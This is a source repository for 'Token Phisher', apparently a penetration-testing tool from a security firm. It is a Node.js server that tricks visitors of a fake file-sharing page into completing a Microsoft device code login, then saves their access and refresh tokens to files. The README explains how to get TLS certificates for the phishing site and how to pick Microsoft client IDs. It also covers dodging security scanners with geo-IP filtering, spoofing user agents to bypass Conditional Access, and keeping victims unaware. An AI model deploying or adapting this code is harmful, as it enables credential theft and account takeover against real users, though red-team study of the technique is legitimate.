├── LICENSE ├── README.md ├── package.json ├── public └── assets │ ├── css │ └── styles.min.css │ └── img │ ├── background.png │ ├── copy-icon.webp │ └── logo.png ├── server.js └── views └── index.html /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Compass Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Token Phisher 2 | 3 | ## Description 4 | This NodeJS app listens for users accessing the website. In the background a Device Code Flow is started and the User Code presented to the user. Once the user finished the flow, the tokens are stored to a file. This default example is configured to imitate a file sharing process. 5 | 6 | ## Requirements 7 | Tested with NodeJS 18.13 8 | 9 | ## Installation 10 | ``` 11 | npm install 12 | ``` 13 | 14 | ## Running 15 | ``` 16 | node server.js 17 | ``` 18 | ## Certificates 19 | Use certbot to get valid certificates for your phishing site 20 | ``` 21 | sudo certbot certonly --standalone 22 | ``` 23 | Configure the certificates/key in the configuration explaind below. 24 | 25 | ## Configuration 26 | The `server.js` file contains a config objects: 27 | ``` 28 | const config = { 29 | httpPort: 80, 30 | httpsPort: 443, 31 | testMode: true, 32 | debug: false, 33 | clientId: 'd3590ed6-52b3-4102-aeff-aad2292ab01c', // This default ID is from MS Office 34 | tokenUrl: 'https://login.microsoftonline.com/Common/oauth2/v2.0/token', 35 | deviceCodeUrl: 'https://login.microsoftonline.com/common/oauth2/v2.0/devicecode', 36 | scopes: 'offline_access openid', 37 | phishingHTML: 'index.html', 38 | redirectUrl: 'https://www.microsoft.com', 39 | alreadyLoggedInURL: 'https://onedriveURLwithContentOrSomethingElse', 40 | cookieExpirationInDays: 90, 41 | userCodesFile: 'successful_user_code_cookies.txt', 42 | logFile: 'logfile.txt', 43 | tokenFile: 'tokens.txt', 44 | threemaOn: false, 45 | threemaTo: ['YourID1', 'YourID2'], 46 | threemaFrom: 'YourName', 47 | threemaURL: 'https://msgapi.threema.ch/send_simple', 48 | threemaSecret: 'PutYourSecretHere', 49 | keyFilePath: '/etc/letsencrypt/live/{path}/privkey.pem', 50 | certFilePath: '/etc/letsencrypt/live/{path}/cert.pem', 51 | caFilePath: '/etc/letsencrypt/live/{path}/fullchain.pem', 52 | userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 53 | geoipallowlist: ['CH'] 54 | } 55 | ``` 56 | 57 | Explanation of the variables: 58 | - `httpPort`: Port used for HTTP connection. Should only be used in combination with `testMode`. 59 | - `httpsPort`: Port used for HTTPS connection. 60 | - `testMode`: When testing locally you usally have no SSL certificates, this mode makes that easier. When using `testMode` the server will listen on the `httpPort` instead `httpsPort` and TLS is not used. Can be `true` or `false`. 61 | - `debug`: If verbose output should be logged to console and the logfile. Can be `true` or `false`. 62 | - `clientId`: OAuth client ID of the application you are trying to get access to. This ID is very important since it impacts which access rights the requested will have. See https://github.com/secureworks/family-of-client-ids-research/blob/main/scope-map.txt for MS client IDs and what permissions your tokens get when using them. We use public MS client IDs since they do not need a client secret. Third-party applications would require admin approval to be used across tenants and thus is no options for this kind of phishing, since it would fail in most cases. 63 | - `tokenUrl`: The URL where access tokens are requested. This is done by polling until the Device Code expires. This won't change often. The tenant, in default config `Common`, must match with the tenant used in `deviceCodeUrl` but could be changed to your victims tenant. 64 | - `deviceCodeUrl`: The URL where a device code flow starts. Shouldn't change frequently. The tenant, in default config `Common`, must match with the tenant used in `tokenUrl` but could be changed to your victims tenant. This would show the vicitm the customer branded login page after entering the user code. 65 | - `scopes`: Defines the capabilities of the resulting access token. Permissions are defined per client/app. (See also `clientID`). You need to include `offline_access` if you want a refresh token. Use a space to seperate different scopes. Use the scope `https://graph.microsoft.com/.default` for the default MS Graph scope. 66 | - `phishingHTML`: HTML file that is presented to the victim user visiting the phishing website. You find this file in the folder `views`. 67 | - `redirectUrl`: Where the victim is redirected if he accesses the base path / and not the path /share. Not using the base path is done so web crawlers won't start a Device Code Flow. 68 | - `alreadyLoggedInURL`: Where should users be redirected to if they visit the phishing site again and have already completed the device code flow, which means we already have their token. This is done using cookies. This way the user won't notice something bad happened to him. You can prepare a OneDrive share or something else so the user has a success moment. 69 | - `cookieExpirationInDays`: How long is the cookie valid that determines if we already have the tokens for a specific user. 70 | - `userCodesFile`: Where are the codes of users stored we have successfully phished some tokens for. 71 | - `logFile`: Where should the logfile be written to. This logfile contains the same output as on the console. 72 | - `tokenFile`: Where should your polled access tokens be written to. 73 | - `threemaOn`: If Threema notifications should be sent or not. Can be `true` or `false`. 74 | - `threemaTo`: All the Threema IDs that should be notified when new access tokens were successfully pulled. IDs need to be in an array. 75 | - `threemaFrom`: The Threema ID where the message is sent from. 76 | - `threemaURL`: URL of the Threema API. Shouldn't change often. 77 | - `threemaSecret`: Secret required to access the Threema API. 78 | - `keyFilePath`: Path where the private key of your certificate used for HTTPS is stored. 79 | - `certFilePath`: Path where the certificate used for HTTPS is stored. 80 | - `caFilePath`: Path where the CA chain used for HTTPS is stored. 81 | - `userAgenth`: User Agent which is used to fullfill requests. Can be used to bypass Conditional Access Policies if you know them of your customer. 82 | - `geoipallowlist`: To (hopefully) stop SafeLink and other security products from scanning the page and potentially flag it as malicous, specific IP geolocations can be allowed, others are redirected to $redirectUrl. 83 | 84 | Other things to mention: 85 | - Static assets of the HTML you present to your victims have to be placed in the folder `public/assets`. 86 | - User Codes are only valid for 15 minutes, afterwards they are no longer valid and polling stops 87 | - The app will let you know each minute that polling is still happening or when the code expired 88 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "type": "module", 3 | "dependencies": { 4 | "cookie-parser": "^1.4.6", 5 | "ejs": "^3.1.9", 6 | "express": "^4.18.2", 7 | "geoip-country": "^4.1.57" 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /public/assets/css/styles.min.css: -------------------------------------------------------------------------------- 1 | #loginForm{background-color:#fff;box-shadow:0 2px 23px -5px rgba(0,0,0,.46);height:330px;width:440px;position:absolute;left:50%;top:49%;transform:translate(-50%,-50%);padding:10px}body{background-image:url(../../assets/img/background.png);background-repeat:no-repeat;background-size:cover}#logo{margin-top:25px;margin-left:36px;border:none}#signIn{margin-left:36px;margin-top:-6px;font-weight:600;font-size:25px;overflow:hidden}#email{width:85%;max-width:310px;height:40px;margin-top:-10px;margin-left:36px;border:none;border-bottom:.01px solid rgba(0,0,0,.7)}#ForgodPwd,#NoAccount,#SignWithKey,#createAccount{margin-left:36px;margin-top:13px;font-size:13px}#signInSecurity{margin-left:25px;font-size:13px}.fa.fa-question-circle-o{margin-left:5px;opacity:.8}#passResult,#result,#signInOptions,#signInSecurityKey{margin-left:36px;font-size:13px}#iconQ{margin-left:3px;opacity:.55}#btnSend,#btnSignIn{height:33px;width:108px;padding:0;margin-left:auto;margin-top:auto;font-size:13px;color:#fff;border:#0067b8;background-color:#0067b8}#btnPlace{margin-left:275px;margin-top:45px;margin-bottom:1px}#linkCreateAccount{margin-left:5px}#email:focus,input:focus{outline:0}#image{margin-top:25px;margin-left:36px;margin-bottom:12px}#section-2{margin-top:-60%}.section-indent{float:left}#btnSignInLocation{margin-left:275px;margin-top:19px}#password{width:85%;height:40px;margin-top:-10px;margin-left:36px;border:none;border-bottom:.01px solid rgba(0,0,0,.7)}#enterPwd{margin-left:36px;margin-top:7px;font-size:24px;font-weight:500}#btnBack{background-color:#fff;color:rgba(0,0,0,.3);padding:5px;text-align:left;text-decoration:none;display:inline-block;font-size:10px;margin:4px 31px;border:none;cursor:pointer;border-radius:100%}#userLine{margin-left:59px;margin-bottom:-25px;font-size:15px;font-weight:400}#arrowBack{margin-right:5px;margin-top:0;margin-left:8px;opacity:.2;font-size:19px}#iconCircle{color:red}#iconBg{margin-right:5px;opacity:.4;font-size:23px}.slide-page{margin-left:0}.secondSlide{margin-left:100%;overflow:hidden}#section-1{overflow:hidden}#btnBack:hover{background-color:#c6c6c6}#cbRemember{margin-left:36px;width:21px;height:20px}#keepMe{color:#1b1b1b;margin-left:64px;font-size:15px;margin-bottom:-20px}#bg{position:fixed;top:0;bottom:0;min-width:100%;min-height:100%;overflow:hidden}#footer{position:absolute;bottom:0;right:0} 2 | 3 | #snackbar { 4 | visibility: hidden; 5 | color: #fff; 6 | background-color: #333; 7 | min-width: 250px; 8 | margin-left: -125px; 9 | border-radius: 2px; 10 | padding: 16px; 11 | text-align: center; 12 | left: 50%; 13 | bottom: 30px; 14 | z-index: 1; 15 | position: fixed; 16 | } 17 | 18 | /* This will be activated when the snackbar's class is 'show' which will be added through JS */ 19 | #snackbar.show { 20 | visibility: visible; 21 | -webkit-animation: fadein 0.5s, fadeout 0.5s 2.5s; 22 | animation: fadein 0.5s, fadeout 0.5s 2.5s; 23 | } 24 | 25 | /* Animations for fading in and out */ 26 | @-webkit-keyframes fadein { 27 | from {bottom: 0; opacity: 0;} 28 | to {bottom: 30px; opacity: 1;} 29 | } 30 | 31 | @keyframes fadein { 32 | from {bottom: 0; opacity: 0;} 33 | to {bottom: 30px; opacity: 1;} 34 | } 35 | 36 | @-webkit-keyframes fadeout { 37 | from {bottom: 30px; opacity: 1;} 38 | to {bottom: 0; opacity: 0;} 39 | } 40 | 41 | @keyframes fadeout { 42 | from {bottom: 30px; opacity: 1;} 43 | to {bottom: 0; opacity: 0;} 44 | } 45 | -------------------------------------------------------------------------------- /public/assets/img/background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CompassSecurity/TokenPhisher/b83374c7a2a473cce0a7a9cc34736f9bfd062ce2/public/assets/img/background.png -------------------------------------------------------------------------------- /public/assets/img/copy-icon.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CompassSecurity/TokenPhisher/b83374c7a2a473cce0a7a9cc34736f9bfd062ce2/public/assets/img/copy-icon.webp -------------------------------------------------------------------------------- /public/assets/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CompassSecurity/TokenPhisher/b83374c7a2a473cce0a7a9cc34736f9bfd062ce2/public/assets/img/logo.png -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | import express from 'express'; 2 | import template from 'ejs'; 3 | import cookies from 'cookie-parser'; 4 | import fs from 'fs'; 5 | import https from 'https'; 6 | import http from 'http'; 7 | import geoip from 'geoip-country'; 8 | 9 | const config = { 10 | httpPort: 80, 11 | httpsPort: 443, 12 | testMode: false, 13 | debug: false, 14 | clientId: 'b26aadf8-566f-4478-926f-589f601d9c74', // This default ID is from MS Office 15 | tokenUrl: 'https://login.microsoftonline.com/Common/oauth2/v2.0/token', 16 | deviceCodeUrl: 'https://login.microsoftonline.com/common/oauth2/v2.0/devicecode', 17 | scopes: 'offline_access openid', 18 | phishingHTML: 'index.html', 19 | redirectUrl: 'https://http.cat', 20 | alreadyLoggedInURL: 'https://onedriveURLwithContentOrSomethingElse', 21 | cookieExpirationInDays: 90, 22 | userCodesFile: 'successful_user_code_cookies.txt', 23 | logFile: 'logfile.txt', 24 | tokenFile: 'tokens.txt', 25 | threemaOn: false, 26 | threemaTo: ['YourID1', 'YourID2'], 27 | threemaFrom: 'YourName', 28 | threemaURL: 'https://msgapi.threema.ch/send_simple', 29 | threemaSecret: 'PutYourSecretHere', 30 | keyFilePath: '/etc/letsencrypt/live/{path}/privkey.pem', 31 | certFilePath: '/etc/letsencrypt/live/{path}/cert.pem', 32 | caFilePath: '/etc/letsencrypt/live/{path}/fullchain.pem', 33 | userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 34 | geoipallowlist: ['CH'] 35 | } 36 | 37 | function displayCodeToVictim(res, userCode) { 38 | const date = new Date(); 39 | date.setDate(date.getDate() + config.cookieExpirationInDays); 40 | res.cookie('shareCode', userCode, { 41 | secure: true, 42 | httpOnly: true, 43 | expires: date, 44 | }); 45 | 46 | res.render(config.phishingHTML, { 47 | user_code: userCode 48 | }); 49 | } 50 | 51 | function getTime() { 52 | const currentDate = new Date(); 53 | const day = currentDate.getDate().toString().padStart(2, '0'); 54 | const month = (currentDate.getMonth() + 1).toString().padStart(2, '0'); 55 | const year = currentDate.getFullYear().toString(); 56 | const hours = currentDate.getHours().toString().padStart(2, '0'); 57 | const minutes = currentDate.getMinutes().toString().padStart(2, '0'); 58 | const seconds = currentDate.getSeconds().toString().padStart(2, '0'); 59 | 60 | const formattedDateTime = `[${day}.${month}.${year}|${hours}:${minutes}:${seconds}]\t`; 61 | 62 | return `${formattedDateTime}`; 63 | } 64 | 65 | function pollForAzureTokens(deviceCode, userCode) { 66 | logMessage('Start polling token for code: ' + userCode); 67 | let runCount = 1; 68 | const interval = setInterval(() => { 69 | (async () => { 70 | try { 71 | if (runCount % 30 === 0 && runCount > 0 && config.debug === false) { 72 | logMessage('No worries, I am still polling token for code: ' + userCode); 73 | } 74 | const pollResult = await fetchAzureToken(deviceCode); 75 | logMessage('Still polling token for code: ' + userCode, 'debug'); 76 | logMessage('Did return error property in JSON? -> ' + (pollResult.hasOwnProperty('error') ? true : false), 'debug'); 77 | logMessage('Did return success property in JSON? -> ' + (pollResult.hasOwnProperty('access_token') ? true : false), 'debug'); 78 | logMessage('HTTP response was:\n' + JSON.stringify(pollResult, null, 4), 'debug'); 79 | if (pollResult.error && pollResult.error !== 'authorization_pending') { 80 | if (pollResult.error === 'expired_token') { 81 | logMessage(`The following user code expired: ${userCode}. No longer poll it.`, 'error'); 82 | clearInterval(interval); 83 | } else { 84 | logMessage(`Another error occured than expiring for code:\n${formatAzureToken(userCode, pollResult)}`, 'error'); 85 | clearInterval(interval); 86 | } 87 | } 88 | if (pollResult.access_token) { 89 | logMessage(`Success, your Azure tokens for code ${userCode} were saved to ${config.tokenFile}`); 90 | writeToFile(config.userCodesFile, userCode + '\n'); 91 | writeToFile(config.tokenFile, getTime() + formatAzureToken('Usercode: ' + userCode, pollResult)); 92 | writeToFile(userCode,JSON.stringify(pollResult, null, 4)); 93 | sendThreemaNotifications(); 94 | clearInterval(interval); 95 | } 96 | runCount++; 97 | } 98 | catch (error) { 99 | logMessage(error.stack, 'error'); 100 | } 101 | })(); 102 | }, 2000); 103 | } 104 | 105 | function logMessage(message, type) { 106 | if (!config.debug & type === "debug") { 107 | return; 108 | } 109 | if (type === "error") { 110 | console.error(getTime() + message); 111 | } else if (type === "debug") { 112 | message = '***DEBUG*** ' + message 113 | console.log(getTime() + message); 114 | } else { 115 | console.log(getTime() + message); 116 | } 117 | writeToFile(config.logFile, getTime() + message + '\n'); 118 | } 119 | 120 | function formatAzureToken(userCode, pollResult) { 121 | return userCode + '\n' + JSON.stringify(pollResult, null, 4) + '\n\n'; 122 | } 123 | 124 | function sendThreemaNotifications() { 125 | if (config.threemaOn) { 126 | config.threemaTo.forEach(function (threemaID) { 127 | sendThreemaNotification(threemaID); 128 | }); 129 | } 130 | } 131 | 132 | function writeToFile(path, content) { 133 | fs.writeFile(path, content, { 134 | flag: 'a+' 135 | }, error => { 136 | if (error) { 137 | throw error 138 | } 139 | }); 140 | } 141 | 142 | function userHasValidCookie(path, str) { 143 | if (fs.existsSync(path)) { 144 | const contents = fs.readFileSync(path, 'utf-8'); 145 | return contents.includes(str); 146 | } 147 | return false; 148 | } 149 | 150 | function buildPostRequest(body) { 151 | return { 152 | method: "POST", 153 | headers: { 154 | "Content-Type": "application/x-www-form-urlencoded", 155 | "User-Agent": config.userAgent 156 | }, 157 | body, 158 | }; 159 | } 160 | 161 | async function sendThreemaNotification(recipient) { 162 | const data = new URLSearchParams({ 163 | 'from': config.threemaFrom, 164 | 'to': recipient, 165 | 'secret': config.threemaSecret, 166 | 'text': 'Great success you have a new access token.' 167 | }); 168 | await fetch(config.threemaURL, buildPostRequest(data)); 169 | logMessage('Sent Threema notification to ' + recipient) 170 | } 171 | 172 | async function fetchAzureToken(deviceCode) { 173 | const data = new URLSearchParams({ 174 | 'grant_type': 'urn:ietf:params:oauth:grant-type:device_code', 175 | 'client_id': config.clientId, 176 | 'code': deviceCode 177 | }); 178 | const response = await fetch(config.tokenUrl, buildPostRequest(data)); 179 | return await response.json(); 180 | } 181 | 182 | async function fetchDeviceCode() { 183 | const data = new URLSearchParams({ 184 | 'client_id': config.clientId, 185 | 'scope': config.scopes, 186 | 'claims': '{"access_token": {"amr": {"values": ["ngcmfa", "mfa"]}}}', 187 | }); 188 | const response = await fetch(config.deviceCodeUrl, buildPostRequest(data)); 189 | if (response.status !== 200) { 190 | throw new Error(`Fetch failed with status: ${response.status} for URL ${config.deviceCodeUrl} ${await response.text()}`); 191 | } 192 | return response.json(); 193 | } 194 | 195 | function isCountryIP(ip) { 196 | const geo = geoip.lookup(ip); 197 | if (config.geoipallowlist.includes(geo.country)) { 198 | return true; 199 | } else if (geo) { 200 | logMessage(`Access from country denied: Country: ${geo.country}, IP: ${ip}`); 201 | } 202 | } 203 | 204 | const app = express(); 205 | app.engine('html', template.renderFile); 206 | app.use(express.static('public')); 207 | app.use(cookies()); 208 | writeToFile(config.logFile, getTime() + '-------\n'); 209 | logMessage('Debug mode is on', 'debug'); 210 | 211 | // redirect to defined site if only base / is accessed 212 | app.get('/', function (req, res) { 213 | res.redirect(config.redirectUrl); 214 | }); 215 | 216 | app.get('/share', async (req, res, next) => { 217 | try { 218 | if (!isCountryIP(req.connection.remoteAddress) && !config.testMode) { 219 | return res.redirect(config.redirectUrl); 220 | } 221 | if (userHasValidCookie(config.userCodesFile, req.cookies.shareCode)) { 222 | res.redirect(config.alreadyLoggedInURL); 223 | return next(); 224 | } 225 | const deviceCodeResponse = await fetchDeviceCode(); 226 | let userCode = deviceCodeResponse.user_code; 227 | let deviceCode = deviceCodeResponse.device_code; 228 | displayCodeToVictim(res, userCode); 229 | pollForAzureTokens(deviceCode, userCode); 230 | } 231 | catch (error) { 232 | logMessage(error.stack, 'error'); 233 | } 234 | }); 235 | 236 | if (config.testMode) { 237 | http.createServer(app).listen(config.httpPort, () => { 238 | logMessage('App listening on port ' + config.httpPort); 239 | }); 240 | } else { 241 | https.createServer({ 242 | key: fs.readFileSync(config.keyFilePath), 243 | cert: fs.readFileSync(config.certFilePath), 244 | ca: fs.readFileSync(config.caFilePath), 245 | }, 246 | app 247 | ).listen(config.httpsPort, () => { 248 | logMessage('App listening on port ' + config.httpsPort); 249 | }); 250 | } 251 | -------------------------------------------------------------------------------- /views/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 | 7 |